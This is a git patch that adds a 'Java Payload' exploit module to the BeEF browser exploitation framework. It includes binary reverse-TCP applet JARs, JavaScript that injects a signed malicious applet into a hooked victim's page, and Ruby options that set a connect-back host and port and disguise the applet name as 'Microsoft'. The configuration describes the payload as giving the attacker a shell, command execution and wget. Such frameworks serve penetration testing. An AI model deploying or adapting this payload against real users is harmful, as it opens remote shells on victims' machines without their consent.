From c4d5b30b608c43e2c519411de7efd454a09f0374 Mon Sep 17 00:00:00 2001 From: antisnatchor Date: Tue, 1 Nov 2011 12:06:58 +0000 Subject: [PATCH] (Fixes issue 434) First works with the malicious Java applet. Tons of work to come in the next releases (OMG) :-) git-svn-id: https://beef.googlecode.com/svn/trunk@1387 b87d56ec-f9c0-11de-8c8a-61c5e9addfc9 --- .../java_payload/AppletReverseTCP-0.2.jar | Bin 0 -> 4781 bytes .../java_payload/AppletReverseTCP-0.3rc1.jar | Bin 0 -> 6029 bytes modules/exploits/java_payload/command.js | 54 ++++++++++++++++++ modules/exploits/java_payload/config.yaml | 26 +++++++++ modules/exploits/java_payload/module.rb | 37 ++++++++++++ 5 files changed, 117 insertions(+) create mode 100644 modules/exploits/java_payload/AppletReverseTCP-0.2.jar create mode 100644 modules/exploits/java_payload/AppletReverseTCP-0.3rc1.jar create mode 100755 modules/exploits/java_payload/command.js create mode 100755 modules/exploits/java_payload/config.yaml create mode 100755 modules/exploits/java_payload/module.rb diff --git a/modules/exploits/java_payload/AppletReverseTCP-0.2.jar b/modules/exploits/java_payload/AppletReverseTCP-0.2.jar new file mode 100644 index 0000000000000000000000000000000000000000..8959c4ed9cac88cfb8aa113d7df2d38cb226e3a4 GIT binary patch literal 4781 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", 'id':"overlayiframe", 'name':"overlayiframe"}, {}, null), 4000); +// 2. beef.mitb.init("<%= @command_url %>", <%= @command_id %>); +// var MITBload = setInterval(function(){ +// if(beef.pageIsLoaded){ +// clearInterval(MITBload); +// beef.mitb.hook(); +// } +// }, 100); + + + + beef.net.send('<%= @command_url %>', <%= @command_id %>, 'Applet with id[' + applet_id + '] added to the DOM.'); + + +}); diff --git a/modules/exploits/java_payload/config.yaml b/modules/exploits/java_payload/config.yaml new file mode 100755 index 000000000..468dd9228 --- /dev/null +++ b/modules/exploits/java_payload/config.yaml @@ -0,0 +1,26 @@ +# +# Copyright 2011 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +beef: + module: + java_payload: + enable: true + category: "Exploits" + name: "Java Payload" + description: "Inject a malicious signed Java Applet (JavaPayload) that connects back to the attacker giving basic shell commands, command exec and wget.
Before launching it, be sure to have the JavaPayload StagerHandler listening
, i.e.: java javapayload.handler.stager.StagerHandler -- JSh" + authors: ["antisnatchor"] + target: + not_working: ["FF"] + user_notify: ["All"] \ No newline at end of file diff --git a/modules/exploits/java_payload/module.rb b/modules/exploits/java_payload/module.rb new file mode 100755 index 000000000..e21d6aaef --- /dev/null +++ b/modules/exploits/java_payload/module.rb @@ -0,0 +1,37 @@ +# +# Copyright 2011 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +class Java_payload < BeEF::Core::Command + + def pre_send + BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind('/modules/exploits/java_payload/AppletReverseTCP-0.2.jar', '/anti', 'jar') + end + + + def self.options + return [ + {'name' => 'conn', 'ui_label' => 'Payload', 'value' => 'ReverseTCP'}, + {'name' => 'cbHost', 'ui_label' => 'Connect Back to Host', 'value' => '192.168.56.1'}, + {'name' => 'cbPort', 'ui_label' => 'Connect Back to Port', 'value' => '6666'}, + {'name' => 'applet_id', 'ui_label' => 'Applet id', 'value' => rand(32**20).to_s(32)}, + {'name' => 'applet_name', 'ui_label' => 'Applet name', 'value' => 'Microsoft'} + ] + end + + def post_execute + save({'result' => @datastore['result']}) + end + +end